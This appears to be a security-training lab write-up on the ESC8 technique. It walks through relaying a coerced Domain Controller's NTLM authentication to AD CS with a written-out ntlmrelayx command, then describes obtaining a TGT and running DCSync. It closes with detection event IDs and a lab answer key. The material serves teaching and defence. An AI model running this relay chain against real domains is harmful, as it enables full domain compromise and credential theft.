Skills Assessment
Description
Following up on the PKI-related attack scenario from the previous section, another attack we can abuse is relaying to ADCS to obtain a certificate, a technique known as ESC8.
Previously, we used PrinterBug and Coercer to make (or force) computers to connect to any other computer. In this scenario, we will utilize the PrinterBug, and with the received reverse connection, we will relay to ADCS to obtain a certificate for the machine we coerced.
Attack
We begin by configuring NTLMRelayx to forward incoming connections to the HTTP endpoint of our Certificate Authority. As part of this configuration, we will specify that we want to obtain a certificate for the Domain Controller (a default template in AD, which Domain Controllers use for client authentication). The --adcs switch makes NTLMRelayx parse and displays the certificate if one is received:
Fares22110@htb[/htb]$ impacket-ntlmrelayx -t http://172.16.18.15/certsrv/default.asp --template DomainController -smb2support --adcs
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Protocol Client SMTP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
Now we need to get the Domain Controller to connect to us. We’ll use the Print Spooler bug and force a reverse connection to us (as we previously did in a previous lab). In this case, we are forcing DC2 to connect to the Kali machine while we have NTLMRelayx listening in another terminal:
If we switch back to terminal of NTLMRelayx, we will see that an incoming request from DC2$ was relayed and a certificate was successfully obtained:
We will copy the obtained base64-encoded certificate, switch to the Windows machine, and use Rubeus to the certificate to authenticate with (this time, the certificate is in the proper format) and obtain a TGT:
We have now obtained a TGT for the Domain Controller DC2. Therefore we become DC2. Being a Domain Controller, we can now trigger DCSync with Mimikatz:
Prevention
The above attack was possible because:
We managed to coerce DC2 successfully
ADCS web enrollment does not enforce HTTPS (otherwise, relaying would fail, and we won't request a certificate)
Because there are many different PKI-related escalation techniques, it is highly advised to regularly scan the environment with Certify or other similar tools to find potential issues.
Detection
This attack provides multiple techniques for detection. If we start from the part where a certificate is requested by NTLMRelayx, we will see that the CA has flagged both the request and the issuer of the certificate in events ID 4886 and 4887, respectively:
What stands out is that the template name is mentioned as part of the request; however, it isn't if requested by the Domain Controller itself (not relaying). There may be some exceptions to this in an environment; thus, it is best to check if it could be used as an indicator of flagging, coercing/relaying attacks to ADCS.
Subsequently, in the attack, we utilized the obtained certificate to get a Kerberos TGT, which resulted in the event ID
4768:
It stands out that XX is attempting to log in with a certificate, and the IP address is not the DC's.
Finally, when we used Mimikatz to perform DCSync, we will see the event ID 4624 that indicates XX authenticated successfully from another IP address and not it is own:
Q & A
1) Replicate the attack described in this section and view the related 4886 and 4887 logs. Enter the name shown in the Requester field as your answer. (Format: EAGLE....)
Answer: EAGLE\DC2$
Last updated